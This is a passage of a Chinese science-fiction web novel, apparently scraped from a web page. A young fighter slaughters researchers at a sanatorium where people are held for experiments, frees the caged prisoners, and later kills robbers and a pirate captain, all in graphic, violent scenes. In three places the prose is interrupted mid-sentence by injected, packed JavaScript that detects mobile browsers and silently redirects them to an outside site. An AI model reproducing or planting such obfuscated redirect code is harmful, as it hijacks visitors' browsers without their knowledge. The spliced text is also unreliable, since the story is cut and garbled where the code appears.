在绝对实力面前,妄图以多胜少、前仆后继的研究员就像场幽默哑剧。银白的长廊染上彻头彻尾的暗红,就连廊顶也被腐烂的血色铺满。 黏重的血滴像蜡油融化,再次从廊顶坠落砸进地板的血泊中。发出梦境中才能被聆听的‘汀啷’回音。 视野所及之处像一张没选区就开自动填充的暗红电子画布,七零八落的尸体几乎要将长廊堆砌得水泄不通。 直到再无一人上前,段心慈才迟钝地意识到似乎整栋关怀疗养院里的研究员都在这里了。 角落里,被迫旁观一场单方面大型屠戮战的林洛精神力幻形:“……” 虽然…看到集会走狗落到这个下场是很爽没错。 附在自己精神体上的林洛咽了咽唾沫,该说不愧是……Z区的?这个战斗力未免也太恐怖。 ‘如果能拉拢……’ 下一刻沾满血腥的灰色眼眸犹如地狱幽鬼,直直刺向角落。 林洛:“……” 长发少年单手拎着电锯,走向角落。 眼见对方离自己越来越紧,林洛不由自主后退一步。 就在她即将把精神体收回时就见段心慈突然抬头,视线精准交汇的瞬间—— “我看见你了。” ‘警官。’ 段心慈腥红的唇齿间咧开一个戏谑与恶劣并存的笑:“还不逃吗?” 和杀戮本能一起被激活的,还有逐渐找回的语言系统、生活常识以及属于顶级掠食者的狩猎心态。 林洛心底一冷。 那实在不像是活物能拥有的眼神,更像是某种从地狱里爬出来的怪物。 她不知道自己究竟花了多大意志才没有在这样的注视下落荒而逃,而是接近僵硬地站在原地。 近乎残酷的对视里,段心慈原地站了一会儿,缓缓转身退去。林洛抓住空当将自己的精神力幻形收回。 不是兴趣丧失,而是她突然觉得自己应该收敛些。 ‘为了……’ 尖锐的痛感从脑内爆开,电锯掉在地上发出刺耳的重音。 险些跌倒的瞬间她下意识将手撑在身旁冰冷的墙壁上,零散的发丝顺势垂落脸颊两侧。 越是试图记起,疼痛越是鲜明。 就好像这回忆不属于躯壳,只属于灵魂。无论如何都不能遗忘,不该遗忘。 偏偏她就是忘了。 段心慈用手背抹去唇边呛出的血迹:“不就是…收敛吗……” 她断断续续地嗤笑:“我怎么会是这样的人?” 意外地,不反感这份算不上困囿的克制。 有些无奈,更多却是理应如此的坦然。 “真要命啊。” 她捡起躺在血泊里的电锯。目光无意间落在金属锯齿板上,第一次注意到自己的长相。 和那场混乱梦境中的青年几乎如出一辙的五官,只是少了几分冷冽与锋利,多出些属于少年人脸型特有的圆钝与稚嫩。 段心慈目光一滞,握紧电锯的手指几乎要嵌进金属中:‘……’ 口腔里,血腥愈发浓重。 她不再看这张心惊的脸,拎起电锯向自己的目的地走去。 * 疗养院-地下二层-2201室 占地三百平米的地下室中堆满血迹斑驳的金属笼,冰冷狭窄的空间里关押着无数来路不明的‘货物’。 麻木与疼痛填满这里每一寸空间。 亚麻色短卷发的青年蜷缩在最靠近大门货笼里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509231|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 具体煎熬了多久,维莉亚已经记不清。 她只记得一次又一次暗无天日的实验过程:刺骨的未知毒素扎进血管,还有手术刀切开脊背的痛苦。 维莉亚将手从笼子金属杆的缝隙中伸出,紧握住自己左侧笼中弟弟冰冷的手。 “…嘉里亚。” 她晃了晃弟弟的手腕:“……涅挪?” 没有回应。 对方的脉搏已经虚弱到微不可查。 维莉亚蜷紧身躯。 发丝被冷汗浸透,湿哒哒地黏在面颊上。手中冰冷的触感无时无刻不在提醒她,自己的弟弟已经命悬一线。 那些恶魔前来挑选时,任凭自己的身体蜷得有多么紧,握住嘉里亚的手有多么牢——他们一旦被选中就会被残忍的分开,然后带上实验台。 ‘这是命运吗?’ 维莉亚不知道。 她只知道自己再呆下去一定会疯。 而在疗养院里疯掉的下场,从来是被当成废品处理掉。 不是没人尝试逃脱,无论是单独行动抑或是组队配合——无一例外,全部被带了回来。 尝试出逃最后又被抓回来的‘货物’会被那些研究员划开后背,挑出脊椎—— 像个滴血花篮一样吊在地下室房顶的绳钩上。可怖的惨叫声回荡在堆满牢笼的空间里,久久不散。 受刑人的血溅得到处都是。而底下的‘货物’们浑身颤抖,被活活吓死的不在少数。 而那些怪物就这样看着,笑容满面地点评哪只花篮叫得更大声。 更让所有‘货物’感到绝望的是那个不知道哪儿来的疗养院守则,说是不能浪费任何实验体。 行刑完毕后迎接他们的并非死亡,而是被推进实验室将脊椎重新按回去,再注射药剂修复。 只要身体素质过关,在一两天后甚至能下地行走。迎接他们的依旧是一轮又一轮残酷的实验。 循环往复,暗无天日。 维莉亚绝望地合上眼,不愿再想。 爱心关怀疗养院里有至少一位S级…看守。 想来再怎样挣扎都是徒劳无功的。 她感到后背脊骨处,那道宛如蜈蚣蜿蜒爬行的疤痕又在幻觉中隐隐作痛。 冷汗涔涔浸湿她的衣衫,亚麻色发丝青年试图通过观察些什么来转移自己的注意力,来捱过突然席卷的阵阵幻痛。 4. 囚笼 更昏暗的角落,林洛屈起膝盖,以一个极其别扭的姿势靠在狭小的笼子里。 针对S阶以下的货笼本无法关住S+的林洛,但为了瞒住那些研究员,行动顺利,保险起见她还是在来到这里之前不顾属下阻拦,吃了一颗降低等阶的药片。 现在的林洛,等阶只有A阶。而这是她背负任务潜伏在疗养院里的第二天。 ‘无法改变的天生差距,难道就是原罪?!’ 羊毛卷黑发的青年脸上恨意刻骨:‘杀死我们,难道真的就像碾死飞虫一样简单?’ 然而所有狰狞的情绪都在幻形连同附着在幻形上的分意识回归后戛然而止。 铺天盖地的血色里,一双晦暗与杀欲并存的眼睛透过渡鸦的视线直直望向自己。 她知道,那句‘还不逃吗’是对方特意说给自己听的。 青年后背起了一层冷汗。 ‘逃?不,我不会逃。’ ‘最坏的结局也不过是先死一步。’ 埋下身份芯片的后颈在名为恐惧的情绪下微微抽搐,林洛却自始至终从未想过抛下这些人独自逃跑这个选项。 那是懦弱者的行径。 ‘如果选择明哲保身,我和那些晶体集会的庸官又有什么区别?’ 那双琥珀棕的眼睛里是坚定的决心。 一墙之隔,段心慈拎着电锯靠在门口,像一头蛰伏的怪物。 ‘不逃吗?有趣。’ 晦暗的眼中划过一丝兴味,少年拎着电锯,单手插兜,抬腿踹在厚重的金属大门中间。 恐怖的力量下合金大门形变,扭曲、发出令人牙酸的崩裂声。 最后在地下室‘货物’们的注视下,那扇原本要通过三道审核,包括虹膜扫描,基因比对加正确密码才能打开的金属门轰然倒塌。 大门砸在密不透风的地下室地面上,扬起一阵尘土。 随着灰尘逐渐消散,最靠近大门的维莉亚小心翼翼睁开眼。 恰逢段心慈低下头,二者对视—— 维莉亚·涅挪撞进一双枷锁与疯狂各行其是的人类眼瞳中。 那双眼睛…看过一次就绝不会忘记。 段心慈跨步走下倒塌的大门,那些视力受损不严重的被困者这才注意到原本坚硬的金属门竟被来者生生踹出一个巨大的凹陷。 他们不由得咽了咽唾沫。 怎么感觉…不像是来救援的……倒像是灭口的。 僵硬地靠在身后冷冰冰的金属栏杆上,维莉亚别无退路,只好眼睁睁看着电锯离自己越来越近。 笼子里林洛服下解药,牙关紧咬:‘拦还是不拦?’ 精神力到达S阶后,半阶之差都犹如鸿沟。 以命相阻实力远超自己的对手,根本就是一个愚蠢的、平白丧命的选项。 青年双拳紧紧攥住—— 【S+天赋之一:三十万立方千米内空间内任意瞬移。】 发动。 下个瞬间,她已经站在段心慈面前,低吼道:“你要做什么?!” 段心慈拎着电锯,不退反进:“你猜?” “我不猜!” 林洛感到自己的内脏都在名为恐惧的情绪里微微颤抖,但她依旧目光坚定,挡在电锯与铁笼之间:“你不能杀死这些人,他们和那些研究员不一样。” 长发少年目光凝视青年片刻,晒笑:“为什么会这么想?” “我不是杀生狂魔对不对?” 她将电锯缓缓塞进林洛颤栗的手掌里,演绎出一个算得上阳光的笑容。但在林洛看来,对方深红口腔内排列整齐的森森白牙和断头台几乎没有什么两样。 段心慈好心道:“如果你不放心,就送给你了。” 沾血的电锯粘腻而沉重,林洛下意识握紧。 事情和她想得好像不一样,但…… 段心慈后退一步。 黑红交织的精神力像某种诡异丝线自她背后源源不断地涌出,狰狞地绕上全部的金属笼—— 这还是她方才观察林洛发动瞬移,借此学会的。 而一旁身为S+的林洛立刻发现这些丝线与普通幻形不同,更像是一种凝实。 仿佛是为了印证她的猜测,下一刻,所有笼子在对方恐怖的力量下尽数绞碎,甚至没有形变的过程。 纯粹的切割看得林洛心惊肉跳。 没有对精神力的极致把控根本做不到这一点。 ‘Z区?普通人?……绝对不止!’ ‘她到底是什么来头?’ 和林洛的忧思不同,见牢笼碎裂,地下室里那些尚且清醒,死水一般的思绪纷纷泛起巨大涟漪。 维莉亚是第一个反应过来的。 顾不上在救命恩人面前保持自己的良好形象,也深知自己在这鬼地方呆了三个多月根本没什么形象可言。 她近乎是连滚带爬地从笼子里站了起来,金属笼与地面相撞发出刺耳的摩擦声。 怕弟弟因为行动不便而惹了来人的不悦,维莉亚匆忙来到笼前单膝跪地将昏迷的人从笼子里抱出。 段心慈余光瞥见青年怀中同伴奄奄一息的模样,从随身包中翻出一板万用强效药,递给对方。 维莉亚小心翼翼地接过药板。 “万用药。” “三天一片。醒后不用再吃。” 少年背过身,没看到身后维莉亚复杂的情绪。 手指在触碰到药板的那刻,维莉亚浑身一颤。日复一日的折磨中变得浑浑噩噩的大脑突然变得清明。 从被关进疗养院开始一直没落下的泪水终于在此刻盈满眼眶,随意用手背抹了把脸,她将红白相间的药片推进嘉里亚嘴里。 本以为自己和弟弟这辈子都没有可能离开这里,痛痛快快地死在冰冷手术台上已经是他们最好的命运。 ‘我竟然…竟然真的没有走到绝路……’ 维莉亚曾经无比憎恨命运为何不肯眷顾自己,好像无处不是折磨。 但现在,看着满地残破的囚笼,以及一个又一个熟悉的面孔从笼中站起身…… 她想,命运终于厚待了她一次。 …也厚待这里所有的灵魂一次。 怀里的体温逐渐趋于正常,维莉亚松了一口气的同时后知后觉地意识到:能轻易撕开这些牢笼救下自己,那名玄发少年至少也是那些人口中的S阶的大佬。 从牢笼里站起身来的人越来越多,却都不约而同地选择保持静默,一言不发。 他们实在太恐惧,又过于精疲力竭。只好在沉默里休养生息。 林洛脑袋微微下垂。 面对此情此景,她难免质疑自己:‘这次……我还是做错了吗?’ ‘还是说…我太弱小,弱小到无法守护任何。包括我的信念……’ 玄发少年觑了情绪明显滴落的年轻警官一眼。 与她擦肩而过时,段心慈语气调侃地抬了抬手:“举手之劳。不必在意。” “这里就交给你了。警、官。” 被一语道破身份,卷发青年瞳孔骤缩上前两步。她右手颤抖着,竭力克制不去抬手按下后颈抽搐的筋络。 “如果不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她面无表情地望着黑发青年追随段心慈离开的背影,下意识握紧手中那板药片,任由锋利的边角划破自己的掌心。 鲜血顺着指尖滴落,砸在暗沉脏污的地面上。 她和嘉里亚都没有选择跟随段心词离开。 ‘比起那些拥有选择的幸运儿……没有离开的…’ 维莉亚棕黄的瞳仁里透着冷凝,犀利的目光扫视一圈,将那些仍旧灰败苦涩的面容尽收眼底。 嘉里亚·涅挪从空瘪的衣袋里掏出一盒香烟,指节在盒底轻轻一磕。左上角的那根香烟顺着他手上的力道弹出。 打火机点燃香烟,也照出漆黑一片的地下室中,青年神情晦暗的脸。 烟草气息在地下室的空间里散开,将人群疲惫的神经短暂麻痹。 维莉亚面露不悦,她毫不留情地将香烟从弟弟手中夺走,按灭在满是污渍和血迹的墙上。 嘉里亚·涅挪笑笑。他没有说话只是双手插在大衣的兜里,姿态随意地站在姐姐身侧。 ‘滋啦’一声,是烟头碾在墙上,火焰熄灭的声音。 那腐败的血液被点燃,尚留有余温。 “该走了。” 维莉亚眼底温情不再,拽过身旁的弟弟。 嘉里亚·涅挪顺着她的动作笑盈盈地应好。缠绕在脖颈上的吊牌项链随着动作微微晃动,影影绰绰可以看见蝎子的纹路。 ‘血液灼烧的温度……’ 青年眨眨眼,记忆里浮现出一张因锋利而美貌的面容。 他知道维莉亚·涅挪也记得。 有的存在不会被忘记。 也不能被忘记。 转头回到地下室,发现人数减半的林洛:“?” 林警官为自己的职业生涯掬了把辛酸泪。 5. 分成 离开疗养院,段心慈沿着空旷的公路一路步行。 L区星系群是出名的人烟稀少,尤其是疗养院周边一带几乎已经完全废弃。 头顶是晴朗夏季特有的璀璨夜空,但空气里接近凝固的闷热和扭曲空气的高温依旧让她感到压抑。 她下意识抬起头望向天穹。 无论是否相信占星术,于人类而言,星空本身就是命运的启示。 此刻夜幕上群星闪烁,浩瀚穹顶映在她暗沉的眼中宛若此世另一片宇宙。 脑内闪过片段式的记忆告诉: 在那群星拱卫的中心,是被誉为‘复苏刹那’——享有宇宙春彩带美称的阿涟塔星云。 首都星系群就坐落在阿涟塔星云的中央。 而晶体集会与中央警局,这两个隶属人类联邦的庞然大物就在那片空前繁华、纸醉金迷的地方分庭抗礼、互不相让。 ‘……危楼将倾。’ 按下心底不知所起的杀意,她孤身行走在这条单行道上,两侧荒茂的草丛几乎要将身形彻底遮盖。 ‘咔哒’一声。 段心慈步伐一顿。 身后冷冰冰的枪口对准她:“打劫,把手举起来。” 她面无表情地依照对方要求举起双手。 似乎看出被自己打劫的对象是个年纪不大的孩子,那人犹豫了一下,扭过头正欲和什么人说话。 就在对方视线转移的瞬间,段心慈就着原来抬手的动作顺势拧断身后人的脖颈。 随着‘咔吧’一声骨头断裂的声音响起,玄发少年像一头猎豹横冲直撞地闯进惊慌失措的劫匪堆。 凭借身高优势,她贴地冲向人群中最像劫匪头领的人。荒草几乎完全遮盖她行动的轨迹。 动作之快让人只能看见一道飞速靠近的灰影。 罗布满是横肉的脸一颤,向周围人大声喊道:“你们都愣着做什么?!” “开枪啊!蠢货!!” 看见其他人都像傻子一样浑浑噩噩,连枪都拿不利索。他一把夺过身旁跟班的枪,对着那个在草丛中飞速窜动的身形连开数枪。 然而除开子弹射中荒草与土地的声音外再没有其他声音,空气里一丝血腥气也无。 中年男人端枪的手腕抖了抖。 面前的草丛一阵悉簌晃动。 死亡的阴翳笼罩前,他最后对上的是一双中灰色调的双眼。 诡异的,难以描绘的物质在那双眼底如墨水泊泊鼓动。 “…你……!” 一声沉重闷响,和枪同时掉在地上的还有罗布目眦欲裂的尸体。 失去头领的震慑,其余劫匪纷纷如鸟兽散,四处奔逃。 然而这些人动作再快也比不过一心想将他们一网打尽的段心慈。 温热的鲜血溅在枯黄的草秸上,半分钟后,11具新鲜的尸体分散在不同地点。 不知何时天上下起密密麻麻的小雨。随后越下越大,最后竟有倾盆之势。 段心慈摊开手,雨水冲刷去她掌纹和指甲深处的血污,变成稀薄的淡红流入土壤。 浓郁的血腥里,关于过往12年里的一幕幕在脑海中闪过。她想起自己来到疗养院的目的—— 一场精心策划的暂离,和意外无关。 ‘Z区…段家。’ 段心慈牙关紧紧相抵,阴翳在瞳孔中酝酿最后化作赤裸的杀意:‘段暮澜,买卖不给当事人分成可不行。’ 关于对方思虑后将自己送进疗养院这件事,少年并不觉有多么出乎意料。 自己毕竟不是段氏亲子,养母极端的控制欲并不能抑制她的野心。 相反,简直如同火上浇油。 一个单纯享受狩猎过程的,天生的狩猎者。 意识到这一点的段暮澜,也就是段氏集团当时的掌权者,段心慈名义上的母亲毫不犹豫地选择对少年下手。 她身边从来不留不受制衡的狗。 从一开始强制安排段心慈联絪,到如今将段心慈送进疗养院,段暮澜越发迫切。 而段心慈同样谈不上认可那个家和所谓的‘母亲’。 尽管段暮澜有意遮掩,她知晓自身与段暮澜并无亲缘关系。 段心词很快意识到在这场注定一方死亡的博弈里即使自己个人实力不弱,短时间内依旧很难在S区彻底扳倒段暮澜并成为真正说一不二的存在。 与其这样,倒不如先遂了段暮澜的意。 花上十几年光景和偌大一个段氏集团磨来磨去,性价比实在太低。 况且她有能力也有信心无论身处哪里以何种境地,自己都能以更加强大的姿态杀回S区。 这也是段心慈现下身处疗养院的原因。 * 三个月过去,L区已经从酷热的夏季缓缓步入逐渐寒凉的初秋。 废弃补给站上空横云暗涌,由远及近的隆隆巨响是由装甲货船在沉降过程中不可避免地与大气层产生摩擦而造成。 雷云里幽蓝的电光隐现闪烁。 残垣断壁的楼体后,段心慈如同蛰伏在黑暗中的猎豹,死死注视着这艘即将降落在废弃补给站的装甲货船。 被秋风吹起的落叶打着漩儿落在她漆黑的裤腿上,又被动作小心地摘掉。 说是装甲货船,不过是星际海盗船的好听叫法。 因为全宇宙只有走到哪儿劫掠到哪儿,打不过就抓紧时间收拾全部家当逃命的星盗才会需要这样攻防一体的同时兼具容积的宇宙飞船。 眼下飞船腹舱缓缓打开,两支由赫尔默船员组成的探查队缓缓降落至补给站地面,各自向左右两栋大楼进发。 与此同时,蹲守在左楼的寸头青年舔了舔自己干裂的嘴唇,目光同样锐利。 但她身后的两名同行伙伴显然和锐利搭不上边。 “江老大,今天我们就守在这儿了吗?” 法尔·艾莫什摸摸自己后脑勺翘起的发尾,目光瞟向身旁的赛霓·柯莱特。 赛霓收到法尔递出的反抗邀请,女孩抿了抿唇,犹豫道:“我,我听江…江灯的。” 法尔:“……OK.” ‘算我白问^^。’ 寸头青年的全名叫江灯灯,尽管她自己不是很认可这个名字,因此其余人都称呼她为江灯。 青年音容凶戾:“完成这单我们就能从这个荒凉的鬼地方离开!” “不该说话的时候,给我闭上你俩的嘴。“ “好的,江灯。”赛 霓声音细若蚊蝇,半点威慑力也无。 法尔想翻白眼,最后还是认下了。 毕竟赛霓·柯莱特只有12岁,自己一个成年人总不至于和未成年人计较。 江灯对自己不靠谱的同伙不抱任何期望,她只时不时将目光转向腕带。 腕带上方悬浮着一块虚拟光屏。 偏远星系群的信号在阴天尤为不好,光屏此刻成横条状闪烁着。不过长期生活在这里的人已经习惯这些频频发生的意外。 江灯随意调试两下腕带上的螺丝,光屏再次恢复正常。一道深色的身影出现在屏幕对面。 “常年徘徊C-D区的赫尔默海盗舰队只有在每个陨石风暴盛年才会途经这里。”段心慈冷淡的声音响起,打断江灯的思绪。 “错过这次机会,下次再等到。就是600年后。” 她原本打算自己单独行动,但未曾想过会在这片荒无人烟的地方居然遇到一支三人小队。 在不破坏原本计划的情况下,段心慈不介意多几个人活下来。 江灯中气十足地答道:“明白!老板!我们已经埋伏好了!” “好。收到我的消息后,按原计划行动。” “收到,老板。” 江灯知道劫掠赫尔默星盗船这件事,段心慈不是无的放矢。 百年难遇的陨石风暴就在明天。 这意味着周围许多已有或开发中,甚至是不能摆到明面上的航道,包括定点迁跃塔都陷入至少一年的停用期。直到第二年的3、4月份,才算彻底结束。 赫尔默不可能甘心错过近在咫尺的补给站。 以己方三人加起来的实力对上赫尔默船员绰绰有余。但面对精神力S+,只差临门一脚就能成为SS阶的赫尔默本人就显得不够看了。 但新老板说她会负责赫尔默的性命。 江灯想:‘那一切就好办了。’ 对机会主义者而言这世界上最不缺的就是机会。只要能离开这个地方,她会抓住一切可能。 右侧大楼,江灯刚打开老板提前两天给到自己的随身信号屏蔽仪。一阵沉重的脚步声自江灯等人身后响起,源自两队赫尔默船员的其中一队。 手中提着军用级别检测器的船员队长正从转角的楼梯口走上来,他胸口的通讯仪亮着绿光。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509233|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三人悄无声息地绕行至墙体背面,将呼吸放得一轻再轻。 幸运的是那些人似乎没有亲自探查的意愿。 领队的赫尔默船员将沉重的检测器放在楼梯口,环形的绿色光圈立刻以仪器为中心向四周波散。 光圈扫过三人藏身的地点,在屏蔽仪的干扰下没有激起半点涟漪。 赛霓·柯莱特见此松了一口气,金色鱼骨辫随着她的动作微微晃动。 眼见检测结果一切正常,带头赫尔默船员拨通自己与飞船的联络频道—— “汇报:左栋七层,监测无异常。” “收到请回答。” 飞船上对接员的声音传来:“收到。1队你们下来吧,左栋大楼无异常。2队继续探查右侧大楼。” 通话关闭的声音让背靠墙面的三人大大松了口气。 赫尔默船员们顺着来时的楼梯台阶向下走去。 就在即将离开7楼时,处于队伍末端的队长无意间瞥向身侧锈迹斑驳的楼梯扶手,原本下楼的步伐生生停滞。 一道被曲面金属扭曲了形状的人类身影在墙体后闪过。 ‘…究竟是…什么时候……’ 他试图装出毫无所觉的模样,竭尽全力平复自己不断加速的心跳。右手悄然搭上别在后腰上的猎枪… ‘咔!’ 骨骼断裂的声音响起,一具脖颈扭断的尸体缓缓倒下。 “名单内。” 江灯压低嗓音向她身后的队员们抬手比了个万事大吉的手势。 法尔·艾莫什立刻兴冲冲地跑来,将尸体拖入一间隐蔽的空房中。换上刚从尸体上扒下来的衣服,他拎着检测器向楼下走去。 整套过程动作行云流水,半点没有惊动已经下到5楼的其余队员。自然也就无人知道原本负责殿后的领头队长在悄无声息间已经换了人。 埋伏在右栋9楼层的玄发少年收到对面发来的消息—— 【江灯:▲-1,▲6+△1】 回复对方‘收到’后,段心慈将联络器关闭。 离开的机会只有一次。 胸腔内的心跳依旧平稳,甚至比起往日更加沉缓。 较于擅长把握机会的江灯,段心慈更乐意做那个创造机会并将一切牢牢掌控在自己手中的人。 在S区时她就曾多次将陨石风暴以及疗养院的消息通过不同渠道递到段暮澜眼前。 天时地利,失败的代价也足够低廉。对方不可能错过。 段心慈不仅了解段暮澜,同时还把赫尔默星盗团的老底摸了个透彻。 她确信这艘星盗船即便发现补给站的蹊跷,依旧会抱有侥幸一试的心态。 毕竟错过这里,在抵达下个补给站前必然要途径的弗瑞黎带混乱边缘就足够让赫尔默和他的船员们喝上一壶。 在那片真空宇宙中飞船碎片悬浮四散,似幽灵般呼啸而过的天体无处不在1。运气差些,在弗瑞黎带丧命也不是没有可能。 段心慈知道,生存压力会迫使他们说服自己忽视一切看起来不对劲的地方。 不多时,另一支赫尔默船员分队已经抵达她所在的九楼。 黑红交织的精神力无声地展开,在看清七人的面部后玄发少年扯开一个残忍的笑意。 ‘都是猎物啊……那就、好办了。’ 一墙之隔。 多年游走在生死边缘的经历让这支队伍的带头队长停下脚步。 他回过头对身后的队员做了个噤声停下的手势,自己则小心地背靠墙壁,手里端着大型枪械缓慢向前移动。 就在即将走到墙壁尽头的时刻,他听到了一阵沉稳而缓慢的心跳。像野兽爆发前的压抑的宁静。 相比之下,自己因为紧张而狂跳的心脏显得格外可笑。 未等猎物做出应对,段心慈黑沉的身形从墙壁后闪出—— 一记鞭腿在空中发出可怖的音爆,随之而来是轰然断裂的墙壁。以及猎物脆弱的脖颈。 鲜血喷溅,失去头颅的队长的两只手臂呈现诡异的弯曲,对手动作之快他甚至没能来得及抬起胳膊护住自己的脑袋。 为了不惊动江灯那边的赫尔默船员,剩余六人连抬起枪械的机会都不曾有过。 一场迅捷、不费吹灰之力的抹杀。 站在尸体堆中段心慈给江灯发去消息—— 【BOSS:▲-7,▲0】 6. 疯狗 江灯手腕微抖,不禁倒吸一口凉气。 没记错的话,老板那边只有孤身一人。 发送一个满怀敬意的收到后,江灯站起身:“我们走!” “是时候看看大名鼎鼎的赫尔默海盗团,有没有他自己宣传的那么坚不可摧,威风八面了!” 赛霓和法尔拍拍裤子,跟了上去。和干劲十足的江灯比起来,这两位多少有些怠惰的意味。 另一边,少年像只矫健的猎豹9楼一跃而下,悄无声息地落在地面。强悍的肉身素质让自身毫发无伤。 拍去手心和膝盖上的灰土,她走向唯一可供赫尔默星盗船使用的补给位,不过多时对方就会在这里降落。 当然,这个‘唯一’还是前几日自己和江灯三人共同创造的结果。 * 与此同时。 被段心慈当成猎物的赫尔默正在焦虑地在船舱中来回踱步。 ‘我知道,我当然知道,这片补给站处处透露着诡异!’ 派下去的两只小队,至今音讯杳无!想到这里,赫尔默一拳砸在船舱结实的墙壁上。 ‘该死。’ ‘究竟是谁!’ 对自己的海盗团路径如此熟悉,这样的人屈指可数! 现在的赫尔默处在一个进退两难的边缘: 错过这一处的补给站,在到达下一个最近的补给站中途必然会途径弗瑞黎带边缘。 如果飞船燃料冲足,他当然可以启动武器将这些陨石不管不顾地全都轰成渣! 想到这里赫尔默咬咬牙,他终于决定不再等待两组小队的消息,不顾其余人的劝阻,让驾驶员将飞船直接降落在L区补给站。 眼见赫尔默的飞船竟真如段心慈预料的那般,降落在那座被他们精心设计过的唯一补给位上。 雇佣小队对段心慈的敬畏之感又拔高一层。 “上!” “老板说了,赫尔默交给她解决!我们只要负责那些船员就行。” “收到,老大!” 看着两个队员难得的有干劲,江灯的心中同样战意昂扬。 他们已经困在这个荒凉的地方太久,就算只有万分之一的机会离开这里也绝不会放过。 别说是打劫赫尔默星盗团,就是打劫晶体集会也不是不行。 “那还是不行的,老大。” 她的队员们纷纷用复杂的眼神看向她,好像在说你在做什么白日大梦。 好吧,是自己刚刚想的太入迷,居然不小心把心里想的说出来了。 不过,她拍了拍就近一位队员的肩膀:“人嘛,还是要有理想的。别这么颓废!都给我好好干活!” “没困在这个死地方之前,我……们仨…可不比赫尔默星盗团差。” * 八点零三分。 赫尔默飞船内部。 偌大的指挥厅空荡的可怕。赫尔默双手交叉放在桌面,他神情疲惫地坐在中央的皮椅上闭目养神。 ‘吱呀——’一声,指挥厅的大门被缓缓打开。 赫尔默没有回头:“我不是说过吗,没有事不要来打扰我。” 没有回答。 四周安静得诡异。 赫尔默的心猛地跳空了一拍:“谁——?!” ‘哧——’ 雪白锃亮的刺刀毫不费力地穿过椅背。 刺刀从赫尔默的后心捅进,如此回应他的疑问。 他艰难地低下头,看见锋利的刀尖自前胸穿出,殷红的血溅在指挥厅长桌上。 已经变得昏暗模糊的视线最后落在窄窄的刀刃上。 赫尔默从中看到一双压抑、深沉的,如同深渊般疯狂的双眼。 “……” “…是你……” ‘Z区段家养的疯狗。’ 赫尔默死前仅有留存的念头—— ‘段暮澜我艹你八十八代祖宗的,你可真是会养孩子啊!’ * C级星盗头目死在他引以为傲一辈子的赫尔默星盗船上。 或许对于绝大部分宇宙公民来说,这绝对是一个振奋人心的大事件。 但对于整片星空来说一个人的死亡无异于尘埃消散,根本生不出多少波澜。 刺刀从赫尔默后心拔出,段心慈熟练地将刀刃上的血液甩去,跨步走出指挥厅。 少年按照事先说好的原计划前往食堂和江灯以及她的手下汇合。 “老实点,都给我抱头蹲好了!” 飞船食堂区。 江灯的小队员们手中持枪,在一群抱头蹲地的赫尔默星盗团船员中来回走动巡视。 为首的老大爱惜地摸着手中的枪,喃喃自语道:“六十年……” “整整六十年,我江灯终于又摸到枪了……” 被困在一片废土的L区的第一年,江灯22岁。 而现在,她已经82岁。 在人类平均寿命为730岁的星际时代,她如今仍算得上年少轻狂。但磋磨的时光,却永远无法回去。 想到这里,她看向怀中枪支的目光中,七分深情三分狠戾。 单看眼神,不知情的人还会以为她手上摸的是仿生伴侣。 蹲在食堂地板上的赫尔默船员们见此目光均是浑身一抖,敢怒不敢言:‘这群强盗!’ ‘他们连殴打我们的枪都是在飞船上现抢的!’ 他们这些可怜人原本在食堂吃饭吃得好好的,结果不知道突然从哪儿冒出来三个人二话不说把把他们从餐桌上赶了下来。 手里端的,还他混账的都是他们自己船上的枪。 枪托上的徽印就是把他们眼珠子挖掉,用手一摸都能认出来!! 就在这时,江灯再次感受到腕带上传来的震动,她用余光一扫—— 08:04:55 【BOSS:赫尔默已死。】 精神力等阶A+,只差临门一脚就迈入S阶的C级海盗赫尔默就这么死了?甚至,全程没有超过10分钟。 江灯咽咽嗓,她这才迟钝地意识到这一次新老板实力有些过于强劲,远远超乎她的想象。 按下心中的恐惧,她抬起头对自己的两位队员嘱咐道:“做好准备,我们这次的老板……” …就要过来了。 话未说完,走廊外已经响起重靴行过地面的声音,以及隐隐约约的金属细响。 江灯咬紧牙关,握着枪的手则更加紧。 ‘我无意间搭上的这条出路,是错是对?老板究竟是否存有卸磨杀驴的心思?’ 即便她早已揣测过最坏的结局,仍然会选择相同的道路。 事已至此,倘若对方当真存了这样的想法,大不了自己一死也要拼尽全力保住其他人的性命。 毕竟是她做主的选择…… 江灯伸出手握上冰冷的门把,就在这时,她感受到另一股同样下压的力道,就在门的另一面。 骇人的触感惊得她险些就把枪对准门口。 然而就是这愣神的一秒,门外的人已经自行推开厚重的大门站到众人的目光中。 江灯身上的杀意转瞬即逝,知晓那是在生死线上徘徊数次练就的潜意识。段心慈没有计较。 ‘铛啷’一声,那枚能直接证明赫尔默身份的铜牌被她扔出。 铜牌在空中呈现下坠的弧线。 金属与地面撞击的声音响起,牵扯着在场所有人的神经。 就连江灯小队的人见此都有些心惊肉跳,就更别提那些早就被吓得精神岌岌可危的赫尔默船员。 铜制的沾血徽章在地面翻滚,拖出一道稀疏的血迹。 最后停在那些赫尔默船员的面前,不再滚动。 